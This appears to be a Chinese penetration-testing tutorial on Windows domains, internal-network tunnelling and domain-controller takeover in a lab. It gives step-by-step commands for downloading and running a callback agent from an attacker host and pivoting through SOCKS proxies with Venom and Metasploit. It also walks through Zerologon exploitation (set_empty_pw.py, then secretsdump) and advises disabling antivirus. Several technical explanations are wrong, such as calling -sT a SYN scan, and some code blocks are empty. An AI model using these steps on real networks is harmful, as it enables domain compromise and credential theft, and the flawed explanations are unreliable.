域就是进门的时候需要认证,然后再访问域内其他的资源的时候就不需要认证了。就好比虽然你是中国人但是要进入政府、公检法机关工作 还是需要权限的,但是不需要身份验证是不是中国户籍了。在域里也是这样一旦加入域,用一个域账号登录之后你就进入了域,完成这一次身份认证就够了。接下来你在访问域里所有的资源无论是应用服务器还是其他的网络资源就都不需要进行单独的身份验证了。
一个域中只有一台电脑或者是一万台电脑,作为管理员他的管理任务基本上是没有增长的。比如说要把这一万台加入域的电脑做统一的一致管理,那么只需要做一次配置,然后这一万台电脑就自动下发接收新的配置,就都会应用这些配置。所以很大程度上域这个概念是更加时候这种有一定规模的大企业。如果是小企业的话用不用域其实是没有很大的区别的,反倒是具有一定规模的企业,比如说一次性管理几千人上万人,那这个时候用域的话他管理上的成本效率就会非常明显的体现出来。
域的建立,是从域中心的控制点开始的,这个控制点就叫做控制器,检查就叫做DC,整个域就归他控制。原因就在于域里面所有的资源、所有的计算机、所有的用户账号、所有的组、所有的各种组织单位都是存在这个域控制器里面的一个数据库里的。
由于域控制器拥有所有资源,同时域控制器的管理员,也会成为域里面所有计算机的管理员,因为他的权利足够大,所以他可以在其中这个位置。
我要给那些计算机,哪些用户设置什么样的访问资源、权限。设置完以后权限配置自动在域里面通过他的同步机制下发到客户端,然后客户端去应用他,所以实现了自动化的管理。
所以我们要创建域的时候也是要从创建域控开始的,和域相对应的概念就是工作组,因为在域里面是由一个域控这个角色的,他是权限最大,他可以管理域里面所有的东西。
但是在微软的windows系统默认情况下安装的是没有加入域的,那么没有加入域的Windows系统他默认就会把自己加入到一个工作组里面,Windows系统默认的工作组名称是WORKGROUP。你可以给自己的机器加入工作组然后将工作组修改为任何名字。只要你有这台机器的管理权限,你可以把自己加入到任何的工作组。但是域就不行,想加入域的话,必须要有域管理员他的授权、许可、允许你加入,你才能加入到域中。
所以域是一个更加强制的管理概念,像工作组那样想加谁就加谁,加入进去之后你也可以当客户端来使用,去访问别的服务器,也可以在自己的机器上安装一些应用让别人来访问,这个时候你就是服务器。他是一个对等的关系,谁也木有比谁都级别高去管理别人,大家都是自己管理自己,想到哪个工作组就到哪个工作组。那再一些个比较大型的、超大规模的企业环境里面,我们可以部署多域的环境。对于一些中小型企业的话其实只要一个单域就已经足够了,只要你是一个单位一个机构,那这一个管理机构的策略、管理规范也都相对都是统一的。安全策略的要求都是统一的,这个时候没有必要安装多个域,因为安装多个域就要管理多个域,管理成本就会增加就会提升。所以一般的公司就只要一个域就OK了。但是在这一个域里可以安装多个
其他穿透内网的方法和工具
内网穿透是指在无法直接访问内部网络资源的情况下,通过某种方式将外部网络的流量转发到内部网络中的特定服务或设备。以下是一些常见的内网穿透方法和工具:
1. 使用VPN
虚拟专用网络(VPN)是一种常用的内网穿透方法。通过VPN,你可以在公共网络上建立一个加密的隧道,从而访问内部网络的资源。
常见的VPN工具:
- OpenVPN: 一个开源的VPN解决方案,支持多种平台。
- WirEGuar敌: 一个快速、简单且安全的VPN工具。
- PPTP/L2TP/IPsec: 这些是较为传统的VPN协议,广泛支持但可能存在安全性问题。
2. 使用SSH隧道
SSH(Secure Shell)隧道是一种利用SSH协议创建加密隧道的方法,可以用来访问内网资源。
常见的SSH工具:
- PuTTY: 一个用于Windows系统的SSH客户端。
- OpenSSH: 一个开源的SSH客户端和服务器软件。
3. 使用端口转发
端口转发是一种将外部网络的某个端口映射到内部网络中的某个设备或服务的方法。
常见的端口转发工具:
- NAT(网络地址转换): 路由器上的功能,可以实现端口映射。
- PortMap: 一个用于端口转发的开源工具。
4. 使用内网穿透工具
有一些专门设计的内网穿透工具,可以帮助你在复杂的网络环境中实现内外网的通信。
常见的内网穿透工具:
- Ngrok: 一个开源的内网穿透工具,支持HTTP和TCP协议。
- Frp: 一个高性能的反向代理和内网穿透工具,支持多种协议。
- ZeroTier: 一个虚拟网络工具,可以将分散的设备组成一个虚拟局域网。
5. 使用云服务
一些云服务提供商提供了内网穿透的服务,可以帮助你轻松地访问内部网络资源。
常见的云服务:
- AWS Direct Connect: 亚马逊提供的直接连接服务,可以将你的内部网络与AWS云服务连接起来。
- Google Cloud VPN: 谷歌云提供的VPN服务,可以连接内部网络和谷歌云。
6. 使用P2P工具
点对点(P2P)工具可以通过直接建立设备之间的连接来实现内网穿透。
常见的P2P工具:
- TeamViewer: 一个用于远程控制和协作的P2P工具。
- AnyDesk: 一个高性能的远程桌面软件,支持P2P连接。
7. 使用隧道服务
一些在线服务提供了创建隧道的功能,可以帮助你访问内网资源。
常见的隧道服务:
- TunnelBear: 一个提供VPN服务的在线工具。
- ProtonVPN: 一个安全的VPN服务,提供免费和付费计划。
练习
他背后的原理其实都一样,只是多介绍几个可以实现这种方法的相关工具。因为这种工具数量其实特别多且都特别小,至少有二十多个的数量级。
有时候业务上一个集团有多家分公司及办事处,公网访问带宽又不高,域的访问量又大,办事处没有技术能力好的运维,这时候怎么办。就需要采用就近原则,成立多个域,组成一个域树,又总部的技术员统一来做安全策略和维护一次性下发。
域树(Domain Tree)是微软Windows网络中的一种结构,它是多个域按照层级关系组织而成的。域树中的每个域共享相同的命名空间,形成一个连续的名字空间。域树中的域通过信任关系连接起来,允许用户和资源在不同域之间进行无缝访问。
域树的主要特点包括:
- 层次结构:域树由多个域组成,这些域按照层次关系组织。顶级域是最高的层次,子域是其下的层次。例如,child.microsoft.com是microsoft.com的子域。
- 共享命名空间:域树中的所有域共享相同的命名空间,这意味着可以通过完整的域名(Fully Qualified Domain Name, FQDN)唯一标识域中的对象。
- 信任关系:域树中的域之间自动建立了信任关系,允许用户和资源在不同域之间进行无缝访问。这种信任关系通常是双向的,即父域和子域之间可以相互信任。
- 活动目录:在Windows网络中,域树是活动目录(Active Directory)的一部分。活动目录包含一个或多个域树,用于管理和存储网络中的用户、组、计算机和其他资源的信息。
- 管理方便:通过域树,管理员可以集中管理和控制网络中的资源,简化了网络管理和维护的工作。
域树的概念在大型企业和组织中尤为重要,它们通常用于跨地域的网络管理,帮助实现集中管理和分布式控制的平衡。
在练习之前需要说一下域和域的安装
在Windows环境中,“域”的安装通常指的是搭建一个Active Directory域控制器的过程。这涉及到在一台Windows Server操作系统上安装和配置Active Directory Domain Services (AD DS) 角色。以下是在Windows Server上安装和配置Active Directory域控制器的基本步骤:
只有服务器版本的Windows才有域控,win10、win11是没有的。在做信息收集的时候有必要要去收集一下域控制器的名字,往往主机的名称都会一定程度上代表着他的功能。
步骤1:准备环境
- 选择合适的硬件:确保服务器硬件满足Windows Server的操作系统要求。
- 安装Windows Server:在服务器上安装Windows Server操作系统。
- 网络配置:配置服务器的网络设置,确保它可以与其他计算机通信。
- DNS 配置:配置DNS服务器,或者计划使用这台服务器作为DNS服务器。将DNS服务器设成自己127.0.0.1.
- IP配置:服务器的ip必须是静态ip
步骤2:安装 AD DS 角色
- 打开服务器管理器:打开服务器管理器(Server Manager)。
- 添加角色和功能:点击“添加角色和功能”(Add Roles and Features)。
- 选择安装类型:选择“基于角色或基于功能的安装”(Role-based or feature-based installation)。
- 选择目标服务器:选择要安装角色和功能的目标服务器。
- 选择角色:选择“Active Directory Domain Services”(AD DS)。
- 确认安装:阅读并确认安装摘要,然后点击“安装”(Install)。
步骤3:配置域控制器
- 启动配置向导:安装完成后,系统会自动启动“Active Directory Domain Services 配置向导”(AD DS Configuration Wizard)。
- 选择部署选项:选择“新建域”或“将此服务器添加到现有域”。选择添加新林
- 配置域名:输入新域的完全限定域名(FQDN)。
- 选择林和域功能级别:选择林功能级别和域功能级别。这个不解释了,不是做微软的培训
- 配置目录分区:选择存放全局编录和其他目录分区的位置。
- 设置管理员密码:为域管理员账户设置密码。域还原模式的密码要设置,这个只有在域出故障的时候才能用的上,注意设置密码要注意满足复杂度要求。
- 配置DNS:配置DNS服务器设置,选择使用现有的DNS服务器或让这台服务器作为DNS服务器。这里直接点击下一步就ok了
- 确认配置:一直下一步,确认配置信息,然后点击“安装”(Install)。有告警不用管
步骤4:完成安装
- 等待安装过程:安装过程可能需要几分钟的时间。
- 重启服务器:安装完成后,服务器会自动重启。
- 验证域控制器:重启后,你可以通过打开“Active Directory Users and Computers”管理工具来验证域控制器是否成功安装。
注意事项
- DNS 配置:确保DNS服务器正确配置了相应的记录,以便其他计算机可以通过DNS解析找到域控制器。
- 安全性:在安装域控制器的过程中,确保采用强密码,并遵循最佳实践来增强安全性。
- 备份:在安装前备份重要的数据,以防万一出现问题。
示例输出
安装过程中,你可能会看到如下类型的输出或界面:
- 安装进度:显示安装过程中的进度条。
- 配置向导:一系列配置向导对话框,提示你输入相关信息。
- 确认页面:显示即将进行的配置操作的摘要,供你确认。
其他工具穿透
企业边界肯定是由防火墙的,在服务器上开放的端口服务也必须在防火墙上开放。如果说用正向的在服务器上开端口,开4444端口,但是这个端口访问不进来,因为防火墙的端口并没有开放,所以根本就访问补进去。除非是服务器前面没有防火墙,直接就是对公网ip开放的话,可以用到正向链接。实际上能用到这种方式的特别的少,几乎是不可能的。
所以一般来说不会用到这种正向的链接。
下面吧这个agent.exe需要传到目标的Windows服务器上
在copy一个linux的64位的agent.exe客户端到kali桌面上来
改一下这个linux的客户端,叫admin
将agent.exe传到目标的服务器上的C盘
upload /home/kali/Desktop/agent.exe c:\\
传完以后shell进入到目标命令行
shell
cd \
dir agent.exe #查看
如果 agent.txt
存在,它应该会出现在输出列表中。如果你想直接查看 agent.txt
文件的内容,可以使用 type
命令(在 Windows 中)或 cat
命令(在 Unix/Linux 中)。
运行服务端
./admin -lport 9999
agent.exe -rhost 172.31.1.16 -rport 9999
成功连接,这样隧道就建立起来了
我们在回到kali端,发现新的连接已经连上了
输入show
发现有个1已经连上了
gotu1 #去往1
看一下帮助命令help
开启代理侦听就ok了
socks 1080
这个隧道建立起来了,
查看一下proxychains4.conf
cat /etc/proxychains4.conf
看一下这个端口,还是用的1080端口,版本是socks5,那就是对了。
proxychains nmap -sT -p3389 110.11.11.14
我们用proxychains去扫一下这个地址的3389端口
把刚刚设置为域控的服务器打开3389端口,他一旦成为了域控后就失去了个人身份了,所以登录的时候就需要用域的密码来登录。原本本地的账号就会升级成这个域的管理员。一旦成为了域控他的启动就会非常慢需要很多初始化之类的。
点击高级设置
点击远程,选择允许远程链接到此计算机,点击应用
验证一下代理穿透看看是否成功
proxychains nmap -sT -p3389 110.11.11.14
发现已经3389端口已经是打开状态了
穿透内网的第二种代理也就结束了
目前在测试环境里是比较顺利的,在护网、红队的项目当中往往这个过程会出现很多的问题。比如说上传上去的ew.exe或者agent.exe工具有可能被服务端的杀毒软件查杀了,一旦被发现就要考虑做免杀或者是把服务端的杀毒软件给他关了。真实的过程往往都是比较曲折的。
吧iis装上,后面会比较方便,点击添加功能
一直点击下一步,然后点击安装
等待安装完成
其实不太建议用kali自带的浏览器来直接设置代理,挂穿越内网的代理的很多时候没发访问到内网的web服务的。尤其是web服务,所以推荐大家安装一个插件
foxy插件
找到这个FoxyProxy Standard,点进去,会跳转到插件主页
点击这个按钮
左上角写上socks
选择协议位socks5
协议名称为socks5
端口为我们刚刚设置的1080
点击保存sace
就是这个样子
接下来点击右上角的图标
然后选择socks
代理设置好后就可以直接访问内网域控的web
一旦穿透内网并知道内网网段的话,其实我们是有必要对整个网段都扫一下,如果哪台机器开着这个端口那就是DC就是域控。接下来就可以有针对性的去公鸡他,如果一旦拿下他的话域里所有的主机的控制权都在你的手里。389端口或者636端口这都是域控上会用到的端口。
proxychains nmap -sT -p389 10.11.11.0/24
该命令用于通过代理链(proxychains)使用Nmap工具进行网络扫描。
具体来说,这个命令的各个部分解释如下:
proxychains
:这是一个命令行工具,它允许你通过代理服务器链来执行命令。这意味着你可以通过一个或多个代理服务器来发送网络请求,从而隐藏你的实际IP地址。nmap
:这是一个网络探索工具,用于发现网络上的主机和服务,也可以用于网络安全审计。-sT
:这是Nmap的一个参数,表示使用TCP SYN扫描。这种扫描方式会在不完全建立TCP连接的情况下,发送SYN包给目标端口,如果收到SYN-ACK响应,则说明该端口是开放的。-p389
:这指定了要扫描的目标端口,这里是389端口,通常用于LDAP( Lightweight Directory Access Protocol,轻量级目录访问协议)服务。10.11.11.0/24
:这是一个CIDR表示的IP地址范围,表示从10.11.11.0到10.11.11.255的所有IP地址。这个命令将会对这个范围内的所有IP地址进行扫描。- 389端口主要用于**LDAP(轻量级目录访问协议)**服务。
所以,这个命令的作用是:通过代理链,使用Nmap工具对10.11.11.0/24这个IP地址范围内的所有主机的389端口进行TCP SYN扫描。
在最近的一两年的时间里也出现了两个最有名的,今天介绍一个
zerologon
这是针对微软的域能够直接公鸡,控制点这样一个漏动。如果服务器没有打补丁的话发现域控是可以直接拿下的。危害程度及其高和大。
ZeroLogon是一种针对Windows域环境的特权提升漏动,其源于Netlogon协议中的弱点。Netlogon协议主要用于域控制器对用户进行身份验证。该漏动允许公鸡者在没有凭证的情况下通过认证,进而获得域管理权限。
具体而言,ZeroLogon漏动利用了Netlogon协议认证过程中使用的弱加密算法。公鸡者通过Netlogon协议建立与域控之间易受公鸡的安全通道,可以利用此漏动获取域管访问权限。成功利用此漏动的公鸡者可以在网络中的设备上运行特制的应用程序,从而实现对网络资源的控制。
该漏动也被称为CVE-2020-1472,微软在2020年8月发布了相关的安全更新来修复这个问题。由于该漏动的影响范围广泛,且可能导致严重的安全后果,因此及时应用补丁更新对于保护网络环境的安全性至关重要。
总结而言,ZeroLogon是一种利用Netlogon协议弱点的公鸡方法,允许公鸡者无凭证通过认证并提升至域管理员权限。微软已发布补丁修复该漏动,用户应及时更新以防止受到公鸡。
如何运用zerologon来拿下域控的控制权
Zerologon(CVE-2020-1472)是一个针对 Microsoft Windows NT LAN Manager (NTLM) 协议的漏动,它允许公鸡者在没有密码的情况下通过修改域控制器的密码哈希值来控制域控制器。以下是使用 Zerologon 漏动来获取域控制器控制权的步骤和代码示例。
步骤概览
- 收集信息:获取域控制器的 IP 地址和域名。
- 安装工具:安装所需的工具,如
Impacket
和SharpSpooler
。 - 利用 Zerologon:利用 Zerologon 漏动来重置域控制器的 NTLM 密码哈希。
- 提权:使用重置后的密码哈希登录域控制器。
- 执行 shellcode:在域控制器上执行 shellcode。
步骤详解
步骤1:收集信息
首先,你需要知道域控制器的 IP 地址和域名。这些信息可以通过网络扫描工具(如 Nmap)或从组织的文档中获取。
步骤2:安装工具
你需要安装一些工具来利用 Zerologon 漏动。这里我们将使用 Python 的 Impacket
库和 SharpSpooler
。
安装 Impacket:
下载 SharpSpooler:
- 你可以从 GitHub 下载 SharpSpooler: https://github.com/gentilkiwi/kekeo/tree/master/sharpspooler
- 将 SharpSpooler 编译成一个 .NET Assembly(使用 Mono 或 .NET Core)。
步骤3:利用 Zerologon
接下来,我们将使用 Impacket
和 SharpSpooler
来利用 Zerologon 漏动。
利用 Zerologon:
步骤4:提权
利用重置后的哈希登录域控制器。你可以使用 Secretsdump
来获取其他凭证。
获取凭证:
步骤5:执行 shellcode
一旦你有了域控制器的控制权,你可以通过多种方式执行 shellcode,例如通过 PowerShell 或其他工具。
Shellcode 示例
下面是一个简单的 x64 架构的 shellcode 示例,用于在 Windows 上打开一个反向 shell。请注意,这需要在目标系统上运行,并且需要相应的权限。
生成 shellcode: 你可以使用 Metasploit 来生成 shellcode。
执行 shellcode: 你可以使用各种方法来执行 shellcode,例如通过 PowerShell、C# 或其他编程语言。
注意事项
- 合法性:请确保你有权在目标系统上进行测试,并且已经获得了所有必要的授权。
- 修补漏动:一旦测试完成,请确保修补 Zerologon 漏动以防止潜在的公鸡。
练习
首先信息收集,我们拿下了域中的一台主机,然后通过扫描发现了2016这个主机为域控。但是这个时候如果没有办法直接拿下他的话,可以找域里面其他的主机。收集其他主机(例:win10)上运行的一些服务,通过服务的漏动先拿下其中一台主机。拿下后由于他是已经加入了域,就等于说我们已经具有了域的低权限的授信或信任。
现在演示一下如何对域控制器发起公鸡,拿下域控制器的完全控制权。网上也有很多版本的利用工具,这次用的实在GitHub上找到的一个利用工具
impacket库,原本这个库在kali上默认就有的,但是这个漏动利用需要使用一个特殊版本的impacket库。所以我们需要kali本机的impacket包卸载掉
然后安装一个新的可以使用这个特殊库的impacket
apt remove --purge impacket-scripts python3-impacket
这是一套对微软的Windows系统来发起的链接公鸡的工具包,他这个工具包里的很多工具,我们在渗投的时候经常会用到这些工具。
吧残余的一些东西也清掉,清掉完了以后去下载漏动利用工具的官方站点
把代理切回来
先打开GitHub站点
url
点击impacket
然后我们把它下载下来
cd zerologon
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC NETBIOS_NAME$adc_ip_addr'
上图中的红框中的hash值就是用来把域管理员的密码覆盖掉
proxychains secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 ‘aqn/w2k16$@10.11.11.14’
这个命令实际上并不是Metasploit Framework(MSF)的一部分,而是来自另一个流行的渗投测试工具集——Impacket。Impacket是一套用于处理网络协议的Python类的集合,特别适用于对SMB1-3和一些其他协议的低级别访问。
secretsdump.py
: Impacket工具集中的一个脚本,用于转储远程系统的密码哈希值。-hashes
: 指定一个NTLM哈希值,格式为LM hash:NT hash。在这个例子中,:31d6cfe0d16ae931b73c59d7e0c089c0
表示没有LM hash,只有NT hash。这个NT hash是一个空字符串的哈希值,通常对应于一个空密码。aqn/w2k16$@10.11.11.14
: 这部分是目标系统的用户名和IP地址。aqn
是用户名,w2k16$
可能是用户名的域或计算机名,@10.11.11.14
是目标系统的IP地址。
整体来看,这个命令的目的是使用Impacket的secretsdump.py
脚本,通过提供一个特定的NTLM哈希值(在这个例子中是一个空密码的哈希值),来尝试从IP地址为10.11.11.14
的目标系统中提取密码哈希值。
这样就访问了内网域控10.11.11.14的445端口,对它发起公鸡
发现好像挂了代理不能正常的去进行公鸡,但是具体方法是没有问题的。
msf渗投内网
msf本身还有一种隧道
show optinos
看一下有效载荷
run#运行一下
msf里面就可以直接来添加路由启用代理,通过代理来访问内部网络。就不需要上传其他的工具了,就用msf自己就可以完成代理隧道穿透内网的效果。
可以看到就连接成功了
然后退出
background
sessions
看一下kali已经和服务器建立了隧道,id为5号
添加一个去往渗投目标公司内网的路由走五号隧道并加上掩码
route add 10.11.11.0/24 255.255.255.0 5#掩码是不许用/24来表示的
添加了这个路由之后,整个msf模块都可以直接使用代理来访问内网了
比如
use auxiliary/scanner/
扫描器的扫描模块
use auxiliary/scanner/portscan/tcp#加载一个用于执行 TCP 端口扫描的辅助模块。通过这个模块,你可以扫描目标系统上的 TCP 端口,以发现哪些端口是开放的,并进一步了解哪些服务正在运行。
show options#显示当前模块配置选项
set RHOSTS 10.11.11.14#设置目标主机地址的 Metasploit 命令
run
扫描端口范围是1-10000
改一下端口范围到80
set PORTS 80
然后再运行
run
只扫一个端口的话可以看到很快就扫完了,扫到了一个主机80端口是开放的
use auxiliary/server/socks_proxy
show options
然后设置一个自己的代理端口或者检查一下没有端口冲突的情况下
查看一下1080端口有没有被使用,不要产生端口冲突
ss -pantu | grep 1080#检查1080端口有没有被其他的程序占用
这条命令是在Linux系统中用来检查特定端口(在这个例子中是1080端口)是否正在被某个进程使用的。让我们来逐个部分地解析这条命令:
ss
: 这是Socket Statistics命令的简称,它用于显示网络连接、等待队列和内存使用情况等信息。与netstat
类似,但通常ss
更快且更高效。-pantu
: 这些选项告诉ss
命令显示哪些类型的信息:
-p
: 显示与进程关联的套接字。-a
: 显示所有连接(监听中的和非监听中的)。-n
: 显示地址和端口为数字格式,而不是尝试解析它们。-u
: 显示UDP套接字。
|
: 这是管道符号,它将前一个命令的输出作为下一个命令的输入。grep 1080
:grep
是一个强大的文本搜索工具,它可以用来搜索文件或标准输入中的模式。这里的grep 1080
会查找包含数字“1080”的行。
综合起来,这条命令的作用是先用ss
命令获取所有与进程相关的套接字连接信息,并且包括UDP连接,然后通过管道传递给grep
命令,筛选出包含端口号“1080”的那些行。
例如,如果端口1080被一个程序占用,你可能会看到类似这样的输出:
或者对于UDP端口:
这里,“programname”代表占用该端口的程序名称,pid
是程序的进程ID,而fd
是文件描述符。
如果你想要查看TCP端口的情况,可以稍微调整命令,比如使用-tn
选项来专门查看TCP端口:
这样只会显示TCP相关的连接信息。
然后run一下,开启一个代理
在看一下1080端口占用情况,可以看到1080端口已经打开了
查看一下配置文件是否正确
cat etc/proxychains4.conf
可以看到socks5配置的是1080
然后用nmap扫描内网,但是一定要注意挂socks代理扫描内网的话一定要加-sT
很快就出结果了,扫到了一个80的http端口
不成功的话
如果不成功的话就需要改一下socks的版本
kill 0
show options
将5改成4A
将cocks5改成socks4a
wq#保存
发现win环境关机了,重启一下
在Metasploit框架中,LHOST
和LPORT
是两个非常重要的配置选项,它们通常用于设置监听地址和监听端口。
- LHOST(Listener Host):这是指渗投测试者的机器(也称为公鸡者机器)的IP地址,该机器将接收从目标系统发送来的连接。在配置Metasploit的利用模块或有效载荷(payload)时,
LHOST
参数用于指定公鸡者机器上的哪个IP地址将用于监听和接收来自目标系统的连接。 - LPORT(Listener Port):这是指渗投测试者的机器上用于监听和接收来自目标系统连接的端口号。在配置Metasploit的利用模块或有效载荷时,
LPORT
参数用于指定公鸡者机器上的哪个端口将用于监听和接收来自目标系统的连接。
通常,LHOST
和LPORT
参数一起使用,以确保公鸡者机器能够在指定的IP地址和端口上监听和接收来自目标系统的连接。这些参数在许多Metasploit模块中都是必需的,特别是在使用反向shell有效载荷(如meterpreter/reverse_tcp
)时。
例如,如果你的公鸡者机器的IP地址是192.168.1.100
,并且你想在端口4444
上监听和接收来自目标系统的连接,你可以在Metasploit中设置如下参数:
在这个例子中,LHOST
被设置为192.168.1.100
,LPORT
被设置为4444
,这意味着公鸡者机器将在IP地址192.168.1.100
和端口4444
上监听和接收来自目标系统的连接。
然后输入id测试一下
有回显,没问题。
python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
是一个在命令行中执行的 Python 命令,它的目的是在一个新的伪终端(pseudo-terminal, pty)中启动 /bin/bash
shell。
让我们分解这个命令:
python -c
: 这是告诉系统你要执行一个 Python 命令,而不是运行一个完整的 Python 脚本文件。-c
选项后面跟着的是要在 Python 解释器中执行的代码。"import pty;pty.spawn('/bin/bash')"
: 这部分是 Python 代码本身。
import pty
: 这一行导入了 Python 的pty
模块,该模块提供了与伪终端相关的功能。pty.spawn('/bin/bash')
: 这一行调用了pty
模块的spawn
函数,该函数用于在伪终端中启动一个新的进程。在这里,它启动了/bin/bash
,即一个 Bash shell。
这个命令通常用于在某些情况下(例如,在 SSH 会话中或在某些交互式 Python 环境中)获得一个更加稳定和传统的 shell 体验。在伪终端中运行的 shell 可以更好地处理某些类型的输入和输出,比如终端特定的控制序列,这在普通的非终端环境中可能不会正确处理。
例如,如果你在一个 Python 子进程中运行 /bin/bash
,并且想要让它表现得像一个正常的终端会话,你可以使用这个命令来创建一个伪终端,并在其中启动 Bash。这样做可以让 Bash 在伪终端中运行,从而允许它处理全屏应用程序、终端控制序列和其他依赖于终端的功能。
Venom这个很好用,可以用这个
在目标机器上用这个agent.exe,渗投机上用admin.exe
开启一个http服务
python -m http.server 80
python -m http.server 80
是一个命令,用于在本地计算机上启动一个简单的HTTP服务器。这个命令使用了Python标准库中的 http.server
模块,它提供了一个基本的HTTP服务器实现。
具体来说,这个命令的作用如下:
python
: 这是调用Python解释器的命令。-m
: 这是一个选项,表示要作为模块运行一个Python脚本。在这种情况下,它指的是http.server
模块。http.server
: 这是Python标准库中的一个模块,它包含了一些类和函数,用于创建一个简单的HTTP服务器。80
: 这是端口号,表示HTTP服务器将在本地计算机的80端口上监听传入的HTTP请求。80是HTTP协议的标准端口,但通常需要管理员权限才能在该端口上启动服务器。
当你在命令行中输入 python -m http.server 80
并按下回车键后,Python解释器会在当前工作目录下启动一个HTTP服务器,并开始监听80端口。这样,你就可以通过在Web浏览器中输入 http://localhost
或 http://<你的IP地址>
来访问当前目录下的文件和网页。
请注意,如果在没有管理员权限的情况下尝试在80端口上启动服务器,可能会遇到权限错误。在这种情况下,你可以选择一个不需要管理员权限的端口,例如 python -m http.server 8000
,这样服务器将在8000端口上运行。
目标机器上操作
输入id查看权限和用户名
然后输入
wget http://172.31.1.16/agent #下载公鸡机上的agent
chmod +x agent #赋一个可执行权限然后再来执行agent
./admin -lport 9999#在Kali Linux中,./admin -lport 9999
这个命令用于启动一个网络服务,监听指定的端口(在这个例子中是9999端口),并等待客户端连接。
具体来说,这个命令的组成部分如下:
./admin
: 这是一个相对路径,用来执行当前目录下的一个名为admin
的可执行文件。这个文件可能是某个网络服务的守护进程或管理工具。-lport 9999
: 这是一个参数,用来指定监听的端口号。在这个例子中,服务将在9999端口上监听传入的连接。
当你在Kali Linux中执行这个命令时,admin
程序会开始运行,并在9999端口上监听。这样,任何试图连接到该端口的客户端都会被接受,并且可以根据程序的设计进行进一步的处理。
客户端这边
./agent -rhost 172.31.1.16 -rport 9999
show#这个命令查看一下几号链接
gotu 1
socks 3080
下面是对每个命令的解释:
./agent -rhost 172.31.1.16 -rport 9999
:
./agent
: 这个命令执行一个名为agent
的可执行文件,位于当前目录下。-rhost 172.31.1.16
: 这个参数指定了远程主机的IP地址,即agent
将要连接的目标主机。-rport 9999
: 这个参数指定了远程主机上的端口号,即agent
将要连接的目标端口。
gotu 1
:
- 这个命令可能是用来执行某个特定的脚本或程序,
gotu
可能是脚本的名字,而1
可能是一个参数,用于指示脚本执行某种特定的操作。由于这不是一个标准的Linux命令,具体的含义取决于脚本的实现。
socks 3080
:
- 这个命令可能是用来配置SOCKS代理的。
socks
通常是指SOCKS协议,它是一种用于在网络上传输数据的协议,可以用于创建代理连接。 3080
可能是指定的端口号,意味着命令可能是在配置某个工具或应用使用SOCKS代理,并且代理服务器的监听端口是3080。
看一下3080端口是否被使用
ss -pantu |grep 3080
可以看到成功侦听了3080端口
kali上可以使用浏览器访问
重试一遍
apt remove -purge impacket-scripts python3-impacket #完全卸载名为 impacket-scripts
和 python3-impacket
的软件包
然后在做一下清理,吧保存的安装包都清掉不要有残留
sudo apt autoremove
git clone https://github.com/SecureAuthcorp/impacket.git #下载新的impacket.git包
下载完成后
cd impacket
python3 setup.py install #这段命令 python3 setup.py install
是在Python环境中安装软件包的一个常用步骤。我们来分解一下这个命令的含义:
python3
: 这是指定使用Python 3解释器来执行接下来的脚本。这确保了如果系统上同时安装有Python 2和Python 3版本,那么将会使用Python 3。setup.py
: 这是一个Python脚本文件,通常位于源代码包的根目录下。setup.py
文件包含了关于软件包的元数据以及一系列的构建、安装等命令。install
: 这是传递给setup.py
脚本的一个命令行参数,告诉脚本执行安装操作。当运行setup.py install
时,setup.py
会读取其中定义的配置并安装相应的模块到Python环境中的标准位置。
整个命令的作用是使用Python 3解释器执行 setup.py
脚本,并通过该脚本安装软件包到系统的Python环境中。这个过程通常包括编译必要的C扩展(如果有的话)、创建所需的文件夹结构、复制文件到安装目录等步骤。
Impacket 是一个用于渗投测试和安全评估的 Python 库,主要用于处理各种网络协议。它的主要目的是提供对网络协议的底层访问,使得安全研究人员和渗投测试人员能够更方便地进行协议分析、漏动利用和其他安全相关的工作。
Impacket 提供了一系列工具和脚本,可以用来模拟不同的网络协议行为,比如 SMB/CIFS、MS-RPC、WMI、LDAP 等。这些工具可以帮助安全专业人员测试系统的安全性,发现潜在的安全漏动,并进行进一步的安全评估。
一些常见的使用场景包括:
- 模拟网络公积,以评估系统的防御能力。
- 进行网络嗅探,捕获和分析网络流量。
- 测试网络服务的安全配置。
- 开发和测试安全工具和应用程序。
下载完成后就可以下载这个zerologon.git这个漏动利用工具了
git clone https://github.com/risksense/zerologon.git#用来从GitHub上克隆一个名为 zerologon
的仓库到你的本地计算机。让我们来逐个部分地解析这条命令:
git clone
: 这是git
命令行工具中的一个子命令,用于从远程仓库克隆一份副本到本地。这通常是你在开始使用一个新的Git仓库时的第一步。https://github.com/risksence/zerologon.git
: 这是你要克隆的远程仓库的URL。在这个例子中,https://github.com/risksence/zerologon.git
是指向 GitHub 上名为zerologon
的仓库。- 整体含义:
- 这条命令会从指定的URL克隆
zerologon
仓库到你的本地计算机。 - 默认情况下,克隆的文件夹将以仓库的名字命名,即
zerologon
。
示例
假设你想要克隆 zerologon
仓库,可以运行以下命令:
执行这条命令后,你会看到类似这样的输出:
这条命令会在当前目录下创建一个名为 zerologon
的文件夹,并且将仓库中的所有文件和目录结构复制到这个文件夹中。
然后用python3执行公鸡
python3 set empty pw.py w2k16 10.11.11.14
这段命令 python3 set_empty_pw.py w2k16 10.11.11.14
是在Python环境中运行一个脚本,该脚本似乎用于设置或重置Windows Server 2016(代号为w2k16)的域控制器上的空密码。让我们来逐个部分地解析这条命令:
python3
: 这是指定使用Python 3解释器来执行接下来的脚本。这确保了如果系统上同时安装有Python 2和Python 3版本,那么将会使用Python 3。set_empty_pw.py
: 这是一个Python脚本文件,根据命令中的上下文推测,这个脚本的目的是用于设置或重置Windows Server 2016域控制器上的空密码。w2k16
: 这个参数指定了目标系统是Windows Server 2016(w2k16是Windows Server 2016的简称)。10.11.11.14
: 这是一个IP地址,指定了目标域控制器的IP地址。
整体含义
这条命令的作用是使用Python 3解释器执行 set_empty_pw.py
脚本来设置或重置位于 10.11.11.14
的Windows Server 2016域控制器上的空密码。